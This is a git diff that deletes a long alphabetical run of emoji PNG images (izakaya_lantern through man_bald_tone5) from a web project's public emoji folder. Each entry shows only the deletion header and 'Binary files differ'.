diff --git a/public/-/emojis/2/izakaya_lantern.png b/public/-/emojis/2/izakaya_lantern.png
deleted file mode 100644
index 73bbb5b4bb4..00000000000
--- a/public/-/emojis/2/izakaya_lantern.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/jack_o_lantern.png b/public/-/emojis/2/jack_o_lantern.png
deleted file mode 100644
index 01b2bf8d3b2..00000000000
--- a/public/-/emojis/2/jack_o_lantern.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/japanese_castle.png b/public/-/emojis/2/japanese_castle.png
deleted file mode 100644
index c2aa48a8162..00000000000
--- a/public/-/emojis/2/japanese_castle.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/japanese_goblin.png b/public/-/emojis/2/japanese_goblin.png
deleted file mode 100644
index ce0ee1048a7..00000000000
--- a/public/-/emojis/2/japanese_goblin.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/japanese_ogre.png b/public/-/emojis/2/japanese_ogre.png
deleted file mode 100644
index 9d118429391..00000000000
--- a/public/-/emojis/2/japanese_ogre.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/jeans.png b/public/-/emojis/2/jeans.png
deleted file mode 100644
index a0f391b7a1f..00000000000
--- a/public/-/emojis/2/jeans.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/jigsaw.png b/public/-/emojis/2/jigsaw.png
deleted file mode 100644
index 30c28e2f4a9..00000000000
--- a/public/-/emojis/2/jigsaw.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/joy.png b/public/-/emojis/2/joy.png
deleted file mode 100644
index 53518b8170b..00000000000
--- a/public/-/emojis/2/joy.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/joy_cat.png b/public/-/emojis/2/joy_cat.png
deleted file mode 100644
index 3f4aaec20b3..00000000000
--- a/public/-/emojis/2/joy_cat.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/joystick.png b/public/-/emojis/2/joystick.png
deleted file mode 100644
index 36d459b82ed..00000000000
--- a/public/-/emojis/2/joystick.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/juggling.png b/public/-/emojis/2/juggling.png
deleted file mode 100644
index 0d271e5412e..00000000000
--- a/public/-/emojis/2/juggling.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/juggling_tone1.png b/public/-/emojis/2/juggling_tone1.png
deleted file mode 100644
index 30ee4f76323..00000000000
--- a/public/-/emojis/2/juggling_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/juggling_tone2.png b/public/-/emojis/2/juggling_tone2.png
deleted file mode 100644
index 3ca6c2cc8aa..00000000000
--- a/public/-/emojis/2/juggling_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/juggling_tone3.png b/public/-/emojis/2/juggling_tone3.png
deleted file mode 100644
index 6ae9e5e471e..00000000000
--- a/public/-/emojis/2/juggling_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/juggling_tone4.png b/public/-/emojis/2/juggling_tone4.png
deleted file mode 100644
index 21df1f15772..00000000000
--- a/public/-/emojis/2/juggling_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/juggling_tone5.png b/public/-/emojis/2/juggling_tone5.png
deleted file mode 100644
index 32681fa51b4..00000000000
--- a/public/-/emojis/2/juggling_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/kaaba.png b/public/-/emojis/2/kaaba.png
deleted file mode 100644
index 8b474d4bfe4..00000000000
--- a/public/-/emojis/2/kaaba.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/kangaroo.png b/public/-/emojis/2/kangaroo.png
deleted file mode 100644
index 630bfd985fb..00000000000
--- a/public/-/emojis/2/kangaroo.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/key.png b/public/-/emojis/2/key.png
deleted file mode 100644
index 1a5f46b9b60..00000000000
--- a/public/-/emojis/2/key.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/key2.png b/public/-/emojis/2/key2.png
deleted file mode 100644
index 14d657e61aa..00000000000
--- a/public/-/emojis/2/key2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/keyboard.png b/public/-/emojis/2/keyboard.png
deleted file mode 100644
index e98aa4a5030..00000000000
--- a/public/-/emojis/2/keyboard.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/kimono.png b/public/-/emojis/2/kimono.png
deleted file mode 100644
index a7729be11be..00000000000
--- a/public/-/emojis/2/kimono.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/kiss.png b/public/-/emojis/2/kiss.png
deleted file mode 100644
index 91f6b2a892f..00000000000
--- a/public/-/emojis/2/kiss.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/kiss_mm.png b/public/-/emojis/2/kiss_mm.png
deleted file mode 100644
index 0446043a0a2..00000000000
--- a/public/-/emojis/2/kiss_mm.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/kiss_woman_man.png b/public/-/emojis/2/kiss_woman_man.png
deleted file mode 100644
index 2d1257f9b98..00000000000
--- a/public/-/emojis/2/kiss_woman_man.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/kiss_ww.png b/public/-/emojis/2/kiss_ww.png
deleted file mode 100644
index 2c5ef506b86..00000000000
--- a/public/-/emojis/2/kiss_ww.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/kissing.png b/public/-/emojis/2/kissing.png
deleted file mode 100644
index b0f3575666e..00000000000
--- a/public/-/emojis/2/kissing.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/kissing_cat.png b/public/-/emojis/2/kissing_cat.png
deleted file mode 100644
index 2944ce51b81..00000000000
--- a/public/-/emojis/2/kissing_cat.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/kissing_closed_eyes.png b/public/-/emojis/2/kissing_closed_eyes.png
deleted file mode 100644
index 117c86a42b0..00000000000
--- a/public/-/emojis/2/kissing_closed_eyes.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/kissing_heart.png b/public/-/emojis/2/kissing_heart.png
deleted file mode 100644
index 31c6db5b546..00000000000
--- a/public/-/emojis/2/kissing_heart.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/kissing_smiling_eyes.png b/public/-/emojis/2/kissing_smiling_eyes.png
deleted file mode 100644
index 169895b3e34..00000000000
--- a/public/-/emojis/2/kissing_smiling_eyes.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/kiwi.png b/public/-/emojis/2/kiwi.png
deleted file mode 100644
index e66d09d4d27..00000000000
--- a/public/-/emojis/2/kiwi.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/knife.png b/public/-/emojis/2/knife.png
deleted file mode 100644
index 567f2ea801f..00000000000
--- a/public/-/emojis/2/knife.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/koala.png b/public/-/emojis/2/koala.png
deleted file mode 100644
index cf8e0b091fa..00000000000
--- a/public/-/emojis/2/koala.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/koko.png b/public/-/emojis/2/koko.png
deleted file mode 100644
index 3710420fdf1..00000000000
--- a/public/-/emojis/2/koko.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/lab_coat.png b/public/-/emojis/2/lab_coat.png
deleted file mode 100644
index 407b52e093d..00000000000
--- a/public/-/emojis/2/lab_coat.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/label.png b/public/-/emojis/2/label.png
deleted file mode 100644
index 2fbce903380..00000000000
--- a/public/-/emojis/2/label.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/lacrosse.png b/public/-/emojis/2/lacrosse.png
deleted file mode 100644
index e1601c6796a..00000000000
--- a/public/-/emojis/2/lacrosse.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/large_blue_diamond.png b/public/-/emojis/2/large_blue_diamond.png
deleted file mode 100644
index dc3a986ebb5..00000000000
--- a/public/-/emojis/2/large_blue_diamond.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/large_orange_diamond.png b/public/-/emojis/2/large_orange_diamond.png
deleted file mode 100644
index 06f4a5fcca3..00000000000
--- a/public/-/emojis/2/large_orange_diamond.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/last_quarter_moon.png b/public/-/emojis/2/last_quarter_moon.png
deleted file mode 100644
index 6cb626f08b8..00000000000
--- a/public/-/emojis/2/last_quarter_moon.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/last_quarter_moon_with_face.png b/public/-/emojis/2/last_quarter_moon_with_face.png
deleted file mode 100644
index 74ea66953c3..00000000000
--- a/public/-/emojis/2/last_quarter_moon_with_face.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/laughing.png b/public/-/emojis/2/laughing.png
deleted file mode 100644
index f070c0e6cfd..00000000000
--- a/public/-/emojis/2/laughing.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/leafy_green.png b/public/-/emojis/2/leafy_green.png
deleted file mode 100644
index d3823a08cf8..00000000000
--- a/public/-/emojis/2/leafy_green.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/leaves.png b/public/-/emojis/2/leaves.png
deleted file mode 100644
index de1a2a5085c..00000000000
--- a/public/-/emojis/2/leaves.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/ledger.png b/public/-/emojis/2/ledger.png
deleted file mode 100644
index 3860fb3ed78..00000000000
--- a/public/-/emojis/2/ledger.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/left_facing_fist.png b/public/-/emojis/2/left_facing_fist.png
deleted file mode 100644
index 467eccf1f4e..00000000000
--- a/public/-/emojis/2/left_facing_fist.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/left_facing_fist_tone1.png b/public/-/emojis/2/left_facing_fist_tone1.png
deleted file mode 100644
index 17346d71606..00000000000
--- a/public/-/emojis/2/left_facing_fist_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/left_facing_fist_tone2.png b/public/-/emojis/2/left_facing_fist_tone2.png
deleted file mode 100644
index 1d897c2f4ce..00000000000
--- a/public/-/emojis/2/left_facing_fist_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/left_facing_fist_tone3.png b/public/-/emojis/2/left_facing_fist_tone3.png
deleted file mode 100644
index c9463a9e337..00000000000
--- a/public/-/emojis/2/left_facing_fist_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/left_facing_fist_tone4.png b/public/-/emojis/2/left_facing_fist_tone4.png
deleted file mode 100644
index 193e46cbac6..00000000000
--- a/public/-/emojis/2/left_facing_fist_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/left_facing_fist_tone5.png b/public/-/emojis/2/left_facing_fist_tone5.png
deleted file mode 100644
index 7b45a99766e..00000000000
--- a/public/-/emojis/2/left_facing_fist_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/left_luggage.png b/public/-/emojis/2/left_luggage.png
deleted file mode 100644
index 0a70ca2ad85..00000000000
--- a/public/-/emojis/2/left_luggage.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/left_right_arrow.png b/public/-/emojis/2/left_right_arrow.png
deleted file mode 100644
index c982c156754..00000000000
--- a/public/-/emojis/2/left_right_arrow.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/leftwards_arrow_with_hook.png b/public/-/emojis/2/leftwards_arrow_with_hook.png
deleted file mode 100644
index 8a600f300ed..00000000000
--- a/public/-/emojis/2/leftwards_arrow_with_hook.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/leg.png b/public/-/emojis/2/leg.png
deleted file mode 100644
index 3043f211e6b..00000000000
--- a/public/-/emojis/2/leg.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/leg_tone1.png b/public/-/emojis/2/leg_tone1.png
deleted file mode 100644
index 1b88a7f53ca..00000000000
--- a/public/-/emojis/2/leg_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/leg_tone2.png b/public/-/emojis/2/leg_tone2.png
deleted file mode 100644
index 5d5f3829a22..00000000000
--- a/public/-/emojis/2/leg_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/leg_tone3.png b/public/-/emojis/2/leg_tone3.png
deleted file mode 100644
index c61dbbdb377..00000000000
--- a/public/-/emojis/2/leg_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/leg_tone4.png b/public/-/emojis/2/leg_tone4.png
deleted file mode 100644
index ae5cbb6944d..00000000000
--- a/public/-/emojis/2/leg_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/leg_tone5.png b/public/-/emojis/2/leg_tone5.png
deleted file mode 100644
index d6ab34b920e..00000000000
--- a/public/-/emojis/2/leg_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/lemon.png b/public/-/emojis/2/lemon.png
deleted file mode 100644
index f55a0c0529b..00000000000
--- a/public/-/emojis/2/lemon.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/leo.png b/public/-/emojis/2/leo.png
deleted file mode 100644
index f2832969dd9..00000000000
--- a/public/-/emojis/2/leo.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/leopard.png b/public/-/emojis/2/leopard.png
deleted file mode 100644
index 0856066680a..00000000000
--- a/public/-/emojis/2/leopard.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/level_slider.png b/public/-/emojis/2/level_slider.png
deleted file mode 100644
index 70e470122d6..00000000000
--- a/public/-/emojis/2/level_slider.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/levitate.png b/public/-/emojis/2/levitate.png
deleted file mode 100644
index 94888990b00..00000000000
--- a/public/-/emojis/2/levitate.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/levitate_tone1.png b/public/-/emojis/2/levitate_tone1.png
deleted file mode 100644
index 1e663f36611..00000000000
--- a/public/-/emojis/2/levitate_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/levitate_tone2.png b/public/-/emojis/2/levitate_tone2.png
deleted file mode 100644
index 1722b29b736..00000000000
--- a/public/-/emojis/2/levitate_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/levitate_tone3.png b/public/-/emojis/2/levitate_tone3.png
deleted file mode 100644
index 84dfb8dddc8..00000000000
--- a/public/-/emojis/2/levitate_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/levitate_tone4.png b/public/-/emojis/2/levitate_tone4.png
deleted file mode 100644
index 6e4dca4c3ea..00000000000
--- a/public/-/emojis/2/levitate_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/levitate_tone5.png b/public/-/emojis/2/levitate_tone5.png
deleted file mode 100644
index 9326d8162e6..00000000000
--- a/public/-/emojis/2/levitate_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/libra.png b/public/-/emojis/2/libra.png
deleted file mode 100644
index fe089f191ad..00000000000
--- a/public/-/emojis/2/libra.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/lifter_tone1.png b/public/-/emojis/2/lifter_tone1.png
deleted file mode 100644
index 1f2314611a1..00000000000
--- a/public/-/emojis/2/lifter_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/lifter_tone2.png b/public/-/emojis/2/lifter_tone2.png
deleted file mode 100644
index 353bee10eaa..00000000000
--- a/public/-/emojis/2/lifter_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/lifter_tone3.png b/public/-/emojis/2/lifter_tone3.png
deleted file mode 100644
index 9dd3a9b1dec..00000000000
--- a/public/-/emojis/2/lifter_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/lifter_tone4.png b/public/-/emojis/2/lifter_tone4.png
deleted file mode 100644
index f81cce3067a..00000000000
--- a/public/-/emojis/2/lifter_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/lifter_tone5.png b/public/-/emojis/2/lifter_tone5.png
deleted file mode 100644
index 7ea5400815e..00000000000
--- a/public/-/emojis/2/lifter_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/light_rail.png b/public/-/emojis/2/light_rail.png
deleted file mode 100644
index de5a9478644..00000000000
--- a/public/-/emojis/2/light_rail.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/link.png b/public/-/emojis/2/link.png
deleted file mode 100644
index 9efcc5fbe41..00000000000
--- a/public/-/emojis/2/link.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/lion_face.png b/public/-/emojis/2/lion_face.png
deleted file mode 100644
index e29f79bb3d2..00000000000
--- a/public/-/emojis/2/lion_face.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/lips.png b/public/-/emojis/2/lips.png
deleted file mode 100644
index 938b73ce5cf..00000000000
--- a/public/-/emojis/2/lips.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/lipstick.png b/public/-/emojis/2/lipstick.png
deleted file mode 100644
index 5bc5286e630..00000000000
--- a/public/-/emojis/2/lipstick.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/lizard.png b/public/-/emojis/2/lizard.png
deleted file mode 100644
index 789f8da8712..00000000000
--- a/public/-/emojis/2/lizard.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/llama.png b/public/-/emojis/2/llama.png
deleted file mode 100644
index 4c46a18fc22..00000000000
--- a/public/-/emojis/2/llama.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/lobster.png b/public/-/emojis/2/lobster.png
deleted file mode 100644
index 98ffa1c907a..00000000000
--- a/public/-/emojis/2/lobster.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/lock.png b/public/-/emojis/2/lock.png
deleted file mode 100644
index 70e97d5236e..00000000000
--- a/public/-/emojis/2/lock.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/lock_with_ink_pen.png b/public/-/emojis/2/lock_with_ink_pen.png
deleted file mode 100644
index b742db0782c..00000000000
--- a/public/-/emojis/2/lock_with_ink_pen.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/lollipop.png b/public/-/emojis/2/lollipop.png
deleted file mode 100644
index 5ac1dbecddc..00000000000
--- a/public/-/emojis/2/lollipop.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/loop.png b/public/-/emojis/2/loop.png
deleted file mode 100644
index ac0655dbbf0..00000000000
--- a/public/-/emojis/2/loop.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/loud_sound.png b/public/-/emojis/2/loud_sound.png
deleted file mode 100644
index f955bc413dd..00000000000
--- a/public/-/emojis/2/loud_sound.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/loudspeaker.png b/public/-/emojis/2/loudspeaker.png
deleted file mode 100644
index ebd72531a0e..00000000000
--- a/public/-/emojis/2/loudspeaker.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/love_hotel.png b/public/-/emojis/2/love_hotel.png
deleted file mode 100644
index 4e5683ff7e8..00000000000
--- a/public/-/emojis/2/love_hotel.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/love_letter.png b/public/-/emojis/2/love_letter.png
deleted file mode 100644
index 267932a2964..00000000000
--- a/public/-/emojis/2/love_letter.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/love_you_gesture.png b/public/-/emojis/2/love_you_gesture.png
deleted file mode 100644
index af72002f754..00000000000
--- a/public/-/emojis/2/love_you_gesture.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/love_you_gesture_tone1.png b/public/-/emojis/2/love_you_gesture_tone1.png
deleted file mode 100644
index ae402310d69..00000000000
--- a/public/-/emojis/2/love_you_gesture_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/love_you_gesture_tone2.png b/public/-/emojis/2/love_you_gesture_tone2.png
deleted file mode 100644
index f0430724a58..00000000000
--- a/public/-/emojis/2/love_you_gesture_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/love_you_gesture_tone3.png b/public/-/emojis/2/love_you_gesture_tone3.png
deleted file mode 100644
index 1ef0381f07a..00000000000
--- a/public/-/emojis/2/love_you_gesture_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/love_you_gesture_tone4.png b/public/-/emojis/2/love_you_gesture_tone4.png
deleted file mode 100644
index 555d59793cf..00000000000
--- a/public/-/emojis/2/love_you_gesture_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/love_you_gesture_tone5.png b/public/-/emojis/2/love_you_gesture_tone5.png
deleted file mode 100644
index 825ed2bca92..00000000000
--- a/public/-/emojis/2/love_you_gesture_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/low_brightness.png b/public/-/emojis/2/low_brightness.png
deleted file mode 100644
index 364d82756e5..00000000000
--- a/public/-/emojis/2/low_brightness.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/luggage.png b/public/-/emojis/2/luggage.png
deleted file mode 100644
index 0ab3bbe4692..00000000000
--- a/public/-/emojis/2/luggage.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/lying_face.png b/public/-/emojis/2/lying_face.png
deleted file mode 100644
index 426c4fc4201..00000000000
--- a/public/-/emojis/2/lying_face.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/m.png b/public/-/emojis/2/m.png
deleted file mode 100644
index fa14989d3c8..00000000000
--- a/public/-/emojis/2/m.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/mag.png b/public/-/emojis/2/mag.png
deleted file mode 100644
index 49596166885..00000000000
--- a/public/-/emojis/2/mag.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/mag_right.png b/public/-/emojis/2/mag_right.png
deleted file mode 100644
index e55e404a814..00000000000
--- a/public/-/emojis/2/mag_right.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/mage.png b/public/-/emojis/2/mage.png
deleted file mode 100644
index bde7ad5cd93..00000000000
--- a/public/-/emojis/2/mage.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/mage_tone1.png b/public/-/emojis/2/mage_tone1.png
deleted file mode 100644
index 91cc2449a15..00000000000
--- a/public/-/emojis/2/mage_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/mage_tone2.png b/public/-/emojis/2/mage_tone2.png
deleted file mode 100644
index 77fedc4ea1c..00000000000
--- a/public/-/emojis/2/mage_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/mage_tone3.png b/public/-/emojis/2/mage_tone3.png
deleted file mode 100644
index c15d82e9d86..00000000000
--- a/public/-/emojis/2/mage_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/mage_tone4.png b/public/-/emojis/2/mage_tone4.png
deleted file mode 100644
index a3098082691..00000000000
--- a/public/-/emojis/2/mage_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/mage_tone5.png b/public/-/emojis/2/mage_tone5.png
deleted file mode 100644
index e1ac342393a..00000000000
--- a/public/-/emojis/2/mage_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/magnet.png b/public/-/emojis/2/magnet.png
deleted file mode 100644
index c042c656f34..00000000000
--- a/public/-/emojis/2/magnet.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/mahjong.png b/public/-/emojis/2/mahjong.png
deleted file mode 100644
index 073ea20dcd6..00000000000
--- a/public/-/emojis/2/mahjong.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/mailbox.png b/public/-/emojis/2/mailbox.png
deleted file mode 100644
index 1bdf07a4b7e..00000000000
--- a/public/-/emojis/2/mailbox.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/mailbox_closed.png b/public/-/emojis/2/mailbox_closed.png
deleted file mode 100644
index da01b4e046e..00000000000
--- a/public/-/emojis/2/mailbox_closed.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/mailbox_with_mail.png b/public/-/emojis/2/mailbox_with_mail.png
deleted file mode 100644
index ac6e26bf7af..00000000000
--- a/public/-/emojis/2/mailbox_with_mail.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/mailbox_with_no_mail.png b/public/-/emojis/2/mailbox_with_no_mail.png
deleted file mode 100644
index ed1797daa8c..00000000000
--- a/public/-/emojis/2/mailbox_with_no_mail.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/male_detective.png b/public/-/emojis/2/male_detective.png
deleted file mode 100644
index 075e7274247..00000000000
--- a/public/-/emojis/2/male_detective.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/male_sign.png b/public/-/emojis/2/male_sign.png
deleted file mode 100644
index 420fbb23a52..00000000000
--- a/public/-/emojis/2/male_sign.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man.png b/public/-/emojis/2/man.png
deleted file mode 100644
index 4fb198e0a53..00000000000
--- a/public/-/emojis/2/man.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_artist.png b/public/-/emojis/2/man_artist.png
deleted file mode 100644
index 0d4bee2b156..00000000000
--- a/public/-/emojis/2/man_artist.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_artist_tone1.png b/public/-/emojis/2/man_artist_tone1.png
deleted file mode 100644
index 261d068c796..00000000000
--- a/public/-/emojis/2/man_artist_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_artist_tone2.png b/public/-/emojis/2/man_artist_tone2.png
deleted file mode 100644
index 6a8efef1e5b..00000000000
--- a/public/-/emojis/2/man_artist_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_artist_tone3.png b/public/-/emojis/2/man_artist_tone3.png
deleted file mode 100644
index 71940e2e879..00000000000
--- a/public/-/emojis/2/man_artist_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_artist_tone4.png b/public/-/emojis/2/man_artist_tone4.png
deleted file mode 100644
index 5029a1f463f..00000000000
--- a/public/-/emojis/2/man_artist_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_artist_tone5.png b/public/-/emojis/2/man_artist_tone5.png
deleted file mode 100644
index b941e2e41bf..00000000000
--- a/public/-/emojis/2/man_artist_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_astronaut.png b/public/-/emojis/2/man_astronaut.png
deleted file mode 100644
index 2b74dcdbbe3..00000000000
--- a/public/-/emojis/2/man_astronaut.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_astronaut_tone1.png b/public/-/emojis/2/man_astronaut_tone1.png
deleted file mode 100644
index 3b3764e42b6..00000000000
--- a/public/-/emojis/2/man_astronaut_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_astronaut_tone2.png b/public/-/emojis/2/man_astronaut_tone2.png
deleted file mode 100644
index 0f8b901755a..00000000000
--- a/public/-/emojis/2/man_astronaut_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_astronaut_tone3.png b/public/-/emojis/2/man_astronaut_tone3.png
deleted file mode 100644
index 7a54b92d3df..00000000000
--- a/public/-/emojis/2/man_astronaut_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_astronaut_tone4.png b/public/-/emojis/2/man_astronaut_tone4.png
deleted file mode 100644
index 9309b5ed97a..00000000000
--- a/public/-/emojis/2/man_astronaut_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_astronaut_tone5.png b/public/-/emojis/2/man_astronaut_tone5.png
deleted file mode 100644
index 6e04641fce6..00000000000
--- a/public/-/emojis/2/man_astronaut_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_bald.png b/public/-/emojis/2/man_bald.png
deleted file mode 100644
index 8641bb4001b..00000000000
--- a/public/-/emojis/2/man_bald.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_bald_tone1.png b/public/-/emojis/2/man_bald_tone1.png
deleted file mode 100644
index d96338aa790..00000000000
--- a/public/-/emojis/2/man_bald_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_bald_tone2.png b/public/-/emojis/2/man_bald_tone2.png
deleted file mode 100644
index 6578ef42b7b..00000000000
--- a/public/-/emojis/2/man_bald_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_bald_tone3.png b/public/-/emojis/2/man_bald_tone3.png
deleted file mode 100644
index df361cfd46c..00000000000
--- a/public/-/emojis/2/man_bald_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_bald_tone4.png b/public/-/emojis/2/man_bald_tone4.png
deleted file mode 100644
index b8c60d97fab..00000000000
--- a/public/-/emojis/2/man_bald_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_bald_tone5.png b/public/-/emojis/2/man_bald_tone5.png
deleted file mode 100644
index e0b10cdaa85..00000000000
--- a/public/-/emojis/2/man_bald_tone5.png
